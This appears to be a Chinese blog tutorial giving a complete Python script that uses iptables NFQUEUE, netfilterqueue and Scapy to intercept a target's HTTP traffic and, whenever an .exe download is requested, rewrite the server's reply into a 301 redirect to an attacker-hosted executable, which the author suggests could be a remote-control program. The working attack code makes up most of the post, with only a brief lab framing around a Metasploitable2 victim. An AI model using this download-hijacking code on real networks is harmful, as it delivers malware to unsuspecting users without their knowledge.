利用Python第三方模块Netfilter以及Scapy修改HTTP下载文件

应用场景:目标在访问网站(HTTP,非加密)下载exe类可执行文件时,通过修改目标的HTTP请求报文,从而重定向到事先确定的第三方站点以下载特定文件(被替换后的文件)(比如远程控制类可执行文件)

应用模块:可利用Python的Netfilterqueue以及scapy第三方模块,前者主要实现对截获的报文进行队列处理,而后者可对队列中的报文进行查看、修改、转发等

实验环境:

     1. 攻击平台可选择Kali Linux

        2. 客户端选择metasploitable2,模拟目标在该机器上访问网站下载文件等操作

      3. 由于现在HTTP网站比较少,笔者选择了网站:http://getwanip.com/testvirus.php或者http://xcal1.vodafone.co.uk/

      4. 设置iptables规则:

 

#iptables -I FORWARD -j NFQUEUE --queue-num 0

 

 

 

主要代码:

import netfilterqueue
from scapy.all import *

ack_list = []                                                         #存储TCP头中ACK号,由于Response报文中的Seq号等于其Request报文中的ACK号,通过这点特征将二者关联在一起
def packet_handler(pkt):
    #将Netfilterqueue的报文转换为Scapy的报文,以便进行查看,修改
    scapy_packet = IP(pkt.get_payload())
    if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):
        if scapy_packet[TCP].dport == 80:
            if '.exe' in scapy_packet[Raw].load.decode('utf-8'):             #如果发现请求报文中含有.exe,表明目标正在下载可执行文件,因此准备进行替换操作
                print("To replace exe file now")
                ack_list.append(scapy_packet[TCP].ack)


        elif scapy_packet[TCP].sport == 80:
            if scapy_packet[TCP].seq in ack_list:
                ack_list.remove(scapy_packet[TCP].seq)
                load_change = "HTTP/1.1 301 Moved Permanently\nLocation: http://192.168.140.138/sogou.exe\n\n"
                scapy_packet[Raw].load = load_change.encode('utf-8')
                del scapy_packet[IP].len
                del scapy_packet[IP].chksum
                del scapy_packet[TCP].chksum
                pkt.set_payload(bytes(scapy_packet))            

   
    pkt.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, packet_handler)
queue.run()

 

posted @ 2022-04-01 10:32  Jason_huawen  阅读(414)  评论(0编辑  收藏  举报